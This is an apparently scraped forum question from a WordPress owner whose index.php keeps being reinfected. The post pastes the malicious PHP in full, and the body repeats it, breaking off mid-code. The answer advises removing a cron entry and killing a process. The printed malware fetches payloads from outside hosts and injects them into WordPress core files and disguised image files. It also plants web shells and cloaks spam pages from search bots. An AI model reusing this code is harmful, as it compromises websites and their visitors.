问:
my index.php file on my wordpress website got hacked every time i delete it its coming back
I have this code in my index.php, please help me how to prevent this code from coming back, Is there any way that i can lock my index.php file.</p>
```<code><?php error_reporting(0);
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss.xml';
$dt = 0;
$sitemap_file = 'sitemap';
$mapnum = 2000;
if(isset($_GET['dt'])){
    $dt = $_GET['dt'];
}
$site = @$_GET['smsite'];
$jdir = '';
$http_web = 'http';
if(is_https()){
 $http = 'https';
}else{
 $http = 'http';
}
$smuri_tmp = smrequest_uri();
$uri_script = "";
if(strstr($smuri_tmp, ".php") && !$site){
    $uri_arr = explode(".php", $smuri_tmp);
    $uri_script = $uri_arr[0].".php?";
    $smuri_tmp = $uri_arr[1];
    $smuri_tmp = str_replace("?", "/", $smuri_tmp);
}
if($smuri_tmp==''){
    $smuri_tmp='/';
}
$s = 'b'.'ase6'.'4_e'.'ncode';
$smuri = $s($smuri_tmp);
function smrequest_uri(){
    if (isset($_SERVER['REQUEST_URI'])){
        $smuri = $_SERVER['REQUEST_URI'];
    }else{
        if(isset($_SERVER['argv'])){
            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        }else{
            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $smuri;
}
@$action = $_GET['ac']?$_GET['ac']:"";
if($action != "" && $action == "write"){
    write();
    echo "write done!";
    exit();
}
$goweb = 'seo601-2.firstok.xyz';
$password = md5(md5(@$_GET['pd']));
if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
    $add_content = @$_GET['mapname'];
    $action = @$_GET['action'];
    $domain = @$_GET['domain'];
    if($domain){
        $host = $domain;
    }else{
        $host = $_SERVER['HTTP_HOST'];
    }
    //$host = $_SERVER['HTTP_HOST'];
    $path = dirname(__FILE__);

    $file_path = $path.'/robots.txt';
    if(!$action){
        $action = 'put';
    }
    if($action == 'put'){
        $data = 'User-agent: *
Allow: /';
        $uri_script = trim($uri_script);
        if( $uri_script!= "" && $uri_script!="/index.php?"){
            $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml";
        }else{
            $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml";
        }
        $num = mt_rand(5, 10);
        for($i = 0; $i<$num; $i++){
            if(trim($uri_script) != "" && $uri_script!="/index.php?"){
                $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml";
            }else{
                $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml";
            }
        }
        @chmod("robots.txt", 0755);
        file_put_contents("robots.txt", $data);
        echo "robots write done!!";
    }
    if($action == 'del'){
        if(file_exists($file_path)){
            $data = smoutdo($file_path);
        }else{
            $data = '';
        }
        if(strstr($data,'/'.$add_content)){
            if(is_https()){
                $data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;
            }else{
                $data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;
            }
            if(file_put_contents($file_path,$data_new)) {
                echo '<br>ok<br>';
            }else{
                echo '<br>file write false!<br>';
            }
        }else{
            echo '<br>sitemap does not exist!<br>';
        }
    }

    exit;
}
function is_https() {
    if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
        return true;
    } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}
$temp = @$_GET['smtemp'];
$id = @$_GET['smid'];
$page = @$_GET['smpage'];
$site = str_replace('/','',$site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';

$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/','',$tempweb);

if($tempweb){
    $site = $tempweb[0].$tempweb[1].$tempweb[2];
    $temp = substr($tempweb,3);
}
$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $s($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = $s($os);
if(isset($_SERVER['HTTP_REFERER'])){
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = $s($urlshang);
}else{
    $urlshang = '';
}

if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
    $clock = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
    $clock = $_SERVER['REMOTE_ADDR'];
}

$http_clock = '';
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
    $http_clock = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
    $http_clock = getenv('HTTP_X_FORWARDED_FOR');
}

if(stristr($clock,',')){
    $clock_tmp = explode(",",$clock);
    $clock = $clock_tmp[0];
}

if(!isset($sitemap_file) || @$sitemap_file==''){
    $sitemap_file = 'sitemap';
}
if(!isset($mapnum) || @$mapnum==''){
    $sitemap_file = 2000;
}

if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){
    @header("Content-type: text/xml");
    if(isset($uriarr[1])){
        $id = str_replace('_','',$uriarr[1]);
    }else{
        $id = 100;
    }
    $ivmapid = 0;
    sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);
    exit();
}
function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){
    $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;
    return trim(smoutdo($web));
}
function sitemap_out($url,$host,$uri_script){
    if(is_https()){
        $http = 'https';
    }else{
        $http = 'http';
    }
    $date_str =  date("Y-m-d\TH:i:sP",time());
    $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?>
<urlset
      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
    $sitemap_header .= '
  <url>
    <loc>'.$http.'://' . $host . "/" . '</loc>
    <lastmod>' . $date_str . '</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.1</priority>
  </url>';
    $url_arr = explode("\r\n",$url);
    $map_str = $sitemap_header;
    foreach($url_arr as $value){
        $map_str .= '
  <url>
    <loc>'.$http.'://' . $host . "/" .$value .'</loc>
    <lastmod>' . $date_str . '</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.1</priority>
  </url>';
    }
    if($uri_script != ""){
        $map_str = str_replace($host."/",$host.$uri_script, $map_str);
    }
    echo $map_str."
</urlset>";
}

function get($url){
    $contents = @file_get_contents($url);
    if (!$contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
function write(){
    $write1 = get("http://hello.turnedpro.xyz/write1.txt");
    $write2 = get("http://hello.turnedpro.xyz/write2.txt");
    $shell_postfs = get("http://hello.turnedpro.xyz/mm1.txt");
    $shell_load = get("http://hello.turnedpro.xyz/mm2.txt");
    $ht_content = file_get_contents(".htaccess");
    $index_content = file_get_contents("index.php");
    $loader_php = "wp-includes/template-loader.php";
    $load_php = "wp-includes/load.php";
    $font_editor_php = "wp-includes/SimplePie/font-editor.php";
    if(!is_dir("css")){
        mkdir("css", 0755, true);
    }
    file_put_contents("css/load.php", $shell_load);
    if(is_dir("wp-includes/SimplePie")){
        file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
        file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
        file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
        file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
        $loader_content = file_get_contents($loader_php);
        $load_content = file_get_contents($load_php);
        @chmod($loader_php, 0755);@chmod($load_php, 0755);
        file_put_contents($loader_php, $write1.$loader_content);
        file_put_contents($load_php, $load_content.$write2);
        @chmod($loader_php, 0644);@chmod($load_php, 0644);
        file_put_contents($font_editor_php, $shell_postfs);
    }
}

if(stristr($smuri_tmp,'.css')){
    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;
    $html_content = trim(smoutdo($web));
    if(!strstr($html_content,'nobotuseragent')){
        if(strstr($html_content,'okhtmlgetcontent')){
            @header("Content-type: text/css; charset=utf-8");
            $html_content = str_replace("okhtmlgetcontent",'',$html_content);
            echo $html_content;
            exit();
        }else if(strstr($html_content,'getcontent500page')){
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        }else if(strstr($html_content,'getcontent404page')){
            @header('HTTP/1.1 404 Not Found');
            exit();
        }
    }
}else if($site){
    if($site == 'xml'){
        @header("Content-type: text/html; charset=utf-8");
        $mapdir = @$_GET['mapdir'];
        $maptype = @$_GET['maptype'];
        $filetype = @$_GET['filetype'];
        $map_splits_num = @$_GET['map_splits_num'];
        $map_num = @$_GET['map_num'];
        $dataNew = @$_GET['dataNew'];
        if($mapdir){
            if(!is_dir($mapdir)){
                @mkdir($mapdir,0777,true);
                echo 'ok '.$mapdir.' success!<br>';
            }else{
                echo $mapdir.' already exist!<br>';
            }
        }
        if(@$_GET['mapindex']){
            $filearray = listDir($mapdir);
            if(count($filearray)>=2){
                $mapindex_str = '';
                $mapindex_str = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">';
                foreach($filearray as $value){
                    if(stristr($value,'.xml')){
                        $mapindex_str .= '
  <sitemap>
    <loc>'."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'</loc>
  </sitemap>';
                    }
                }
                $mapindex_str .= '
</sitemapindex>';
                $xmlname = @$_GET['mapindex'].'.xml';
                $myfile = fopen($xmlname, "w");
                fwrite($myfile, $mapindex_str);
                fclose($myfile);
                echo "ok<br>http://".$_SERVER['HTTP_HOST']."/".$xmlname;
                //echo "<br>".$web;
                exit;
            }else{
                echo 'xml file less number mapindex faile!';
                exit;
            }
        }
        $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http;
        if(substr($temp,0,8)=='shellxml'){
            $xmlname = substr($temp,8).'.xml';
        }
        if(substr($temp,0,7)=='hackxml'){
            if(substr($temp,7)){
                $xmlname = substr($temp,7).'.xml';
            }
        }
        if(@$_GET['mapdir']){
            if($filetype==1){
                $xmlname = $xmlname.'.gz';
            }else if($filetype==2){
                if(function_exists('gzopen')) {
                    $xmlname = $xmlname.'.gz';
                    if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){
                        $xml = trim(smoutdo($web));
                        if(stristr($xml,'no creat map')){
                            echo '<font style="color:red">no creat map!</font>';
                            exit;
                        }
                        $fp = gzopen ($mapdir.'/'.$xmlname, 'w9');
                        gzwrite ($fp, $xml);
                        gzclose($fp);
                        echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                        echo "<br>".$web;
                        exit();
                    }else{
                        gzclose($fp);
                        echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                        echo "<br>".$web;
                        exit();
                    }
                }else{
                    echo '<font style="color:red">gzopen no exists!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                    $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http;
                    echo "<br>".$web;
                    exit();
                }
            }
            if(fopen($mapdir.'/'.$xmlname, "w")){
                $xml = trim(smoutdo($web));
                if(stristr($xml,'no creat map')){
                    echo '<font style="color:red">no creat map!</font>';
                    exit;
                }
                $myfile = fopen($mapdir.'/'.$xmlname, "w");
                fwrite($myfile, $xml);
                fclose($myfile);
                echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                echo "<br>".$web;
                exit();
            }else{
                fclose($myfile);
                echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                echo "<br>".$web;
                exit();
            }
        }else{
            if(fopen($xmlname, "w")){
                $xml = trim(smoutdo($web));
                if(stristr($xml,'no creat map')){
                    echo '<font style="color:red">no creat map!</font>';
                    exit;
                }
                $myfile = fopen($xmlname, "w");
                fwrite($myfile, $xml);
                fclose($myfile);
                echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname;
                echo "<br>".$web;
                exit();
            }else{
                fclose($myfile);
                echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname;
                echo "<br>".$web;
                exit();
            }
        }
    }
    if($id){
        @header("Content-type: text/html; charset=utf-8");
        $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
        $html_content = trim(smoutdo($web));
        if(!strstr($html_content,'nobotuseragent')){
            if(strstr($html_content,'okhtmlgetcontent')){
                $html_content = str_replace("okhtmlgetcontent",'',$html_content);
                echo $html_content;
                exit();
            }else if(strstr($html_content,'getcontent500page')){
                @header('HTTP/1.1 500 Internal Server Error');
                exit();
            }else if(strstr($html_content,'getcontent404page')){
                @header('HTTP/1.1 404 Not Found');
                exit();
            }
        }
    }
}else{
    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
    $html_content = trim(smoutdo($web));
    if($uri_script != ""){
        $html_content = str_replace($host."/",$host.$uri_script, $html_content);
    }
    if(!strstr($html_content,'nobotuseragent')){
        @header("Content-type: text/html; charset=utf-8");
        if(strstr($html_content,'okhtmlgetcontent')){
            $html_content = str_replace("okhtmlgetcontent",'',$html_content);
            echo $html_content;
            exit();
        }else if(strstr($html_content,'getcontent500page')){
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        }else if(strstr($html_content,'getcontent404page')){
            @header('HTTP/1.1 404 Not Found');
            exit();
        }else if(strstr($html_content,'getcontent301page')){
            @header('HTTP/1.1 301 Moved Permanently');
            $html_content = str_replace("getcontent301page",'',$html_content);
            header('Location: '.$html_content);
            exit();
        }

    }
}

function smisbot() {
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if ($agent != "") {
        $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');
        foreach ($googleBot as $val) {
            $str = strtolower($val);
            if (strpos($agent, $str)) {
                return true;
            }
        }
    }else{
        return false;
    }
}
function smotherbot() {
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if ($agent != "") {
        $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');
        foreach ($spiderSite as $val) {
            $str = strtolower($val);
            if (strpos($agent, $str)) {
                return true;
            }
        }
    }else{
        return false;
    }
}
function smoutdo($url){
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    return $file_contents;
}
function listDir($dir){
    $filearr = array();
    if(is_dir($dir)){
        if ($dh = opendir($dir)){
            while (($file = readdir($dh)) !== false){
                if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){
                    $filearr[] = $file;
                }
            }
            closedir($dh);
        }
    }
    return $filearr;
}
 ?>
</code>```

答:
After removing the cron-entry as described in this answer by swar3z you either have to restart the machine to remove malware-processes still running or - if that's not possible - search for a process called 'lock666.php' or similar and kill it with kill -9 lock666.php.

The latter solved the problem for me.

Body:
I have this code in my index.php, please help me how to prevent this code from coming back, Is there any way that i can lock my index.php file.

<?php error_reporting(0);
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss.xml';
$dt = 0;
$sitemap_file = 'sitemap';
$mapnum = 2000;
if(isset($_GET['dt'])){
    $dt = $_GET['dt'];
}
$site = @$_GET['smsite'];
$jdir = '';
$http_web = 'http';
if(is_https()){
 $http = 'https';
}else{
 $http = 'http';
}
$smuri_tmp = smrequest_uri();
$uri_script = "";
if(strstr($smuri_tmp, ".php") && !$site){
    $uri_arr = explode(".php", $smuri_tmp);
    $uri_script = $uri_arr[0].".php?";
    $smuri_tmp = $uri_arr[1];
    $smuri_tmp = str_replace("?", "/", $smuri_tmp);
}
if($smuri_tmp==''){
    $smuri_tmp='/';
}
$s = 'b'.'ase6'.'4_e'.'ncode';
$smuri = $s($smuri_tmp);
function smrequest_uri(){
    if (isset($_SERVER['REQUEST_URI'])){
        $smuri = $_SERVER['REQUEST_URI'];
    }else{
        if(isset($_SERVER['argv'])){
            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        }else{
            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $smuri;
}
@$action = $_GET['ac']?$_GET['ac']:"";
if($action != "" && $action == "write"){
    write();
    echo "write done!";
    exit();
}
$goweb = 'seo601-2.firstok.xyz';
$password = md5(md5(@$_GET['pd']));
if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
    $add_content = @$_GET['mapname'];
    $action = @$_GET['action'];
    $domain = @$_GET['domain'];
    if($domain){
        $host = $domain;
    }else{
        $host = $_SERVER['HTTP_HOST'];
    }
    //$host = $_SERVER['HTTP_HOST'];
    $path = dirname(__FILE__);

    $file_path = $path.'/robots.txt';
    if(!$action){
        $action = 'put';
    }
    if($action == 'put'){
        $data = 'User-agent: *
Allow: /';
        $uri_script = trim($uri_script);
        if( $uri_script!= "" && $uri_script!="/index.php?"){
            $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml";
        }else{
            $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml";
        }
        $num = mt_rand(5, 10);
        for($i = 0; $i<$num; $i++){
            if(trim($uri_script) != "" && $uri_script!="/index.php?"){
                $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml";
            }else{
                $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml";
            }
        }
        @chmod("robots.txt", 0755);
        file_put_contents("robots.txt", $data);
        echo "robots write done!!";
    }
    if($action == 'del'){
        if(file_exists($file_path)){
            $data = smoutdo($file_path);
        }else{
            $data = '';
        }
        if(strstr($data,'/'.$add_content)){
            if(is_https()){
                $data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;
            }else{
                $data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;
            }
            if(file_put_contents($file_path,$data_new)) {
                echo '
ok
';
            }else{
                echo '
file write false!
';
            }
        }else{
            echo '
sitemap does not exist!
';
        }
    }

    exit;
}
function is_https() {
    if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
        return true;
    } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}
$temp = @$_GET['smtemp'];
$id = @$_GET['smid'];
$page = @$_GET['smpage'];
$site = str_replace('/','',$site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';

$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/','',$tempweb);

if($tempweb){
    $site = $tempweb[0].$tempweb[1].$tempweb[2];
    $temp = substr($tempweb,3);
}
$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $s($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = $s($os);
if(isset($_SERVER['HTTP_REFERER'])){
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = $s($urlshang);
}else{
    $urlshang = '';
}

if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
    $clock = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
    $clock = $_SERVER['REMOTE_ADDR'];
}

$http_clock = '';
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
    $http_clock = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
    $http_clock = getenv('HTTP_X_FORWARDED_FOR');
}

if(stristr($clock,',')){
    $clock_tmp = explode(",",$clock);
    $clock = $clock_tmp[0];
}

if(!isset($sitemap_file) || @$sitemap_file==''){
    $sitemap_file = 'sitemap';
}
if(!isset($mapnum) || @$mapnum==''){
    $sitemap_file = 2000;
}

if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){
    @header("Content-type: text/xml");
    if(isset($uriarr[1])){
        $id = str_replace('_','',$uriarr[1]);
    }else{
        $id = 100;
    }
    $ivmapid = 0;
    sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);
    exit();
}
function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){
    $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;
    return trim(smoutdo($web));
}
function sitemap_out($url,$host,$uri_script){
    if(is_https()){
        $http = 'https';
    }else{
        $http = 'http';
    }
    $date_str =  date("Y-m-d\TH:i:sP",time());
    $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?>
<urlset
      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
    $sitemap_header .= '
  <url>
    <loc>'.$http.'://' . $host . "/" . '</loc>
    <lastmod>' . $date_str . '</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.1</priority>
  </url>';
    $url_arr = explode("\r\n",$url);
    $map_str = $sitemap_header;
    foreach($url_arr as $value){
        $map_str .= '
  <url>
    <loc>'.$http.'://' . $host . "/" .$value .'</loc>
    <lastmod>' . $date_str . '</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.1</priority>
  </url>';
    }
    if($uri_script != ""){
        $map_str = str_replace($host."/",$host.$uri_script, $map_str);
    }
    echo $map_str."
</urlset>";
}

function get($url){
    $contents = @file_get_contents($url);
    if (!$contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
function write(){
    $write1 = get("http://hello.turnedpro.xyz/write1.txt");
    $write2 = get("http://hello.turnedpro.xyz/write2.txt");
    $shell_postfs = get("http://hello.turnedpro.xyz/mm1.txt");
    $shell_load = get("http://hello.turnedpro.xyz/mm2.txt");
    $ht_content = file_get_contents(".htaccess");
    $index_content = file_get_contents("index.php");
    $loader_php = "wp-includes/template-loader.php";
    $load_php = "wp-includes/load.php";
    $font_editor_php = "wp-includes/SimplePie/font-editor.php";
    if(!is_dir("css")){
        mkdir("css", 0755, true);
    }
    file_put_contents("css/load.php", $shell_load);
    if(is_dir("wp-includes/SimplePie")){
        file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
        file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
        file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
        file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
        $loader_content = file_get_contents($loader_php);
        $load_content = file_get_contents($load_php);
        @chmod($loader_php, 0755);@chmod($load_php, 0755);
        file_put_contents($loader_php, $write1.$loader_content);
        file_put_contents($load_php, $load_content.$write2);
        @chmod($loader_php, 0644);@chmod($load_php, 0644);
        file_put_contents($font_editor_php, $shell_postfs);
    }
}

if(stristr($smuri_tmp,'.css')){
    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;
    $html_content = trim(smoutdo($web));
    if(!strstr($html_content,'nobotuseragent')){
        if(strstr($html_content,'okhtmlgetcontent')){
            @header("Content-type: text/css; charset=utf-8");
            $html_content = str_replace("okhtmlgetcontent",'',$html_content);
            echo $html_content;
            exit();
        }else if(strstr($html_content,'getcontent500page')){
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        }else if(strstr($html_content,'getcontent404page')){
            @header('HTTP/1.1 404 Not Found');
            exit();
        }
    }
}else if($site){
    if($site == 'xml'){
        @header("Content-type: text/html; charset=utf-8");
        $mapdir = @$_GET['mapdir'];
        $maptype = @$_GET['maptype'];
        $filetype = @$_GET['filetype'];
        $map_splits_num = @$_GET['map_splits_num'];
        $map_num = @$_GET['map_num'];
        $dataNew = @$_GET['dataNew'];
        if($mapdir){
            if(!is_dir($mapdir)){
                @mkdir($mapdir,0777,true);
                echo 'ok '.$mapdir.' success!
';
            }else{
                echo $mapdir.' already exist!
';
            }
        }
        if(@$_GET['mapindex']){
            $filearray = listDir($mapdir);
            if(count($filearray)>=2){
                $mapindex_str = '';
                $mapindex_str = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">';
                foreach($filearray as $value){
                    if(stristr($value,'.xml')){
                        $mapindex_str .= '
  <sitemap>
    <loc>'."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'</loc>
  </sitemap>';
                    }
                }
                $mapindex_str .= '
</sitemapindex>';
                $xmlname = @$_GET['mapindex'].'.xml';
                $myfile = fopen($xmlname, "w");
                fwrite($myfile, $mapindex_str);
                fclose($myfile);
                echo "ok
http://".$_SERVER['HTTP_HOST']."/".$xmlname;
                //echo "
".$web;
                exit;
            }else{
                echo 'xml file less number mapindex faile!';
                exit;
            }
        }
        $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http;
        if(substr($temp,0,8)=='shellxml'){
            $xmlname = substr($temp,8).'.xml';
        }
        if(substr($temp,0,7)=='hackxml'){
            if(substr($temp,7)){
                $xmlname = substr($temp,7).'.xml';
            }
        }
        if(@$_GET['mapdir']){
            if($filetype==1){
                $xmlname = $xmlname.'.gz';
            }else if($filetype==2){
                if(function_exists('gzopen')) {
                    $xmlname = $xmlname.'.gz';
                    if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){
                        $xml = trim(smoutdo($web));
                        if(stristr($xml,'no creat map')){
                            echo 'no creat map!';
                            exit;
                        }
                        $fp = gzopen ($mapdir.'/'.$xmlname, 'w9');
                        gzwrite ($fp, $xml);
                        gzclose($fp);
                        echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                        echo "
".$web;
